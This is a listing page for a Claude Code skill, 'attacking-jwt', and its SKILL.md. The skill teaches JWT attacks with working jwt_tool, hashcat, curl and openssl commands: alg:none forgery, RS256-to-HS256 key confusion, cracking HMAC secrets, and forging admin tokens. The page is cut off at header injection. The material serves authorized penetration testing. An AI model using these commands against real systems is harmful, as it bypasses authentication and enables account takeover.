Skip to content
Security
Skill

/attacking-jwt

Attack JSON Web Tokens by breaking the server's signature-verification decision — alg:none and its case variants, RS256-to-HS256 key confusion using the public key as an HMAC secret, weak HMAC secret cracking, jku/x5u/kid/jwk header injection, embedded-key self-signing, claim

BOOST
From plugin
secskills
17094 skills
Install
$ npx -y skills add trilwu/secskills --skill attacking-jwt --agent claude-code

How it fires

How this skill gets triggered: by you, by Claude, or both.

  • Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
  • You can call itInvoke it directly when you want it.
  • Slash command/attacking-jwt

Context preview

The summary Claude sees to decide when to auto-load this skill.

Attack JSON Web Tokens by breaking the server's signature-verification decision — alg:none and its case variants, RS256-to-HS256 key confusion using the public key as an HMAC secret, weak HMAC secret cracking, jku/x5u/kid/jwk header injection, embedded-key self-signing, claim

SKILL.md

attacking-jwt.SKILL.md
name: attacking-jwt
description: Attack JSON Web Tokens by breaking the server's signature-verification decision — alg:none and its case variants, RS256-to-HS256 key confusion using the public key as an HMAC secret, weak HMAC secret cracking, jku/x5u/kid/jwk header injection, embedded-key self-signing, claim tampering, and algorithm-confusion bugs like the ES256 psychic-signature CVE. Use when a request contains a token starting with eyJ, when an Authorization: Bearer header carries a JWT, or when a JWT sits in a cookie, localStorage, session storage, or query parameter.
verified: 2026-07-26

Attacking JWT

A JWT is not a credential you are meant to read — it is a signature-verification decision the server makes on bytes you control. Every field, including the `alg` header that tells the server *how* to check the signature, is attacker-supplied. The classic failures all come from the server trusting the token's own header to decide how to verify it, or from a secret weak enough to recover offline.

Only against systems you are authorized to test.

When to Use

  • A request carries a token in three base64url parts joined by dots, typically

starting with `eyJ` (the encoded `{"` of the header)

  • An `Authorization: Bearer <token>` header is present
  • A session, `access_token`, `id_token`, or `remember-me` value lives in a

cookie, `localStorage`, `sessionStorage`, or a query parameter

  • The application authenticates or authorizes based on a signed token rather

than a server-side session

  • You control any claim (`sub`, `role`, `admin`, `aud`, `iss`) and want to see

whether the signature is actually enforced

When NOT to Use

  • **The wider web-application methodology** — use `testing-web-applications`
  • **API authentication and authorization generally** — use `testing-apis`
  • **The cryptographic primitives themselves (HMAC, RSA, ECDSA design)** — use

`reviewing-cryptography`

  • **The OAuth/OIDC flow that issues the token, redirect_uri and PKCE abuse** —

use `attacking-oauth-oidc`

  • **Cloud IAM tokens (AWS STS, GCP, Azure AD access tokens) as an access

primitive** — use `exploiting-cloud-platforms`

Decode and Inspect First

A JWT is `header.payload.signature`, each part base64url (no padding, `-` and `_` instead of `+` and `/`). The first two parts are plaintext; only the signature is protected.

# jwt_tool: the fastest way to read a token and see every claim
python3 jwt_tool.py <token>

# By hand, no tools, no network
echo '<header>'  | tr '_-' '/+' | base64 -d 2>/dev/null; echo
echo '<payload>' | tr '_-' '/+' | base64 -d 2>/dev/null; echo

Read the header offline. Use jwt.io only with a token you are willing to paste into a third-party site — for real engagement tokens, decode locally instead. Note the `alg`, the `kid`, and any `jku`/`x5u`/`jwk` header. Note whether `exp`, `iat`, and `nbf` are present, and what `iss`/`aud` expect. Every one of these is a lever below.

alg:none

If the server honours `alg: none`, it accepts an unsigned token. Strip the signature (keep the trailing dot) and tamper with the payload freely.

# jwt_tool: exploit alg:none in all case variants at once
python3 jwt_tool.py <token> -X a

Servers that blocklist the literal string `none` often miss case variants, because a case-insensitive compare was never applied. Try each:

none   None   NONE   nOnE   nonE   NonE

The resulting token is `base64url(header).base64url(payload).` — header and payload changed, signature empty. Set `role`/`admin`/`sub` to what you want.

RS256 to HS256 Key Confusion

The highest-value JWT bug. The server verifies with a generic `verify(token, key)` that picks the algorithm from the token's own header. It was configured with an RSA **public** key for RS256. Switch the header to `HS256` and the server calls HMAC-SHA256 with that same key as the shared secret — and the RSA public key is not secret. Sign your forged token with it.

# jwt_tool automates the whole confusion once you have the public key (PEM)
python3 jwt_tool.py <token> -X k -pk public.pem

You need the public key in the exact PEM bytes the server holds. Get it from:

# 1. A published JWKS endpoint — convert the JWK to PEM
curl -s https://target/.well-known/jwks.json
curl -s https://target/jwks.json
# jwx (or jwt_tool's key tools) turns a JWK into PEM
jwx jwk format --output-format pem jwks.json

# 2. The TLS certificate, when the signing key reuses the web key pair
openssl s_client -connect target:443 </dev/null 2>/dev/null \
  | openssl x509 -pubkey -noout > public.pem

# 3. Recover it from two tokens by RSA math when no key is published
#    (rsa_sign2n derives n from two signatures and emits candidate PEMs)
python3 jwt_forgery.py <token1> <token2>     # CVE-2017-11424; feed a candidate PEM into -X k above

The PEM must match byte-for-byte, including the trailing newline — a mismatch produces an invalid signature and a false negative. Try the key both with and without the final newline.

Weak HMAC Secret Cracking

For HS256/384/512 the signature is `HMAC(secret, header.payload)`. If the secret is a guessable string, recover it offline and then sign anything.

# hashcat mode 16500 is JWT-native — feed the whole token
hashcat -a 0 -m 16500 token.txt /usr/share/wordlists/rockyou.txt
hashcat -a 0 -m 16500 token.txt jwt.secrets.list -r rules/best64.rule

# jwt_tool dictionary attack
python3 jwt_tool.py <token> -C -d /usr/share/wordlists/rockyou.txt

Try common and framework-default secrets first: `secret`, `secretkey`, `your-256-bit-secret`, `changeme`, `password`, the app name, and the `jwt.io` demo secret. Once cracked, forge with the recovered key:

python3 jwt_tool.py <token> -I -pc role -pv admin -S hs256 -p '<secret>'

A recovered signing secret is a full authentication bypass — report it as critical, not as "weak configuration."

jku and x5u Header Injection

`jku` (JWK Set URL) and `x5u` (X.509 URL) tell

Read more
Ships withsecskills

**Security skills for Claude Code that encode the judgment professionals bring, not another wrapper around a scanner.** Offense, defense, and the reverse-engineering and code-audit core both sides share. Every skill is fact-checked against primary sources.

Get the whole plugin

Other skills on secskills.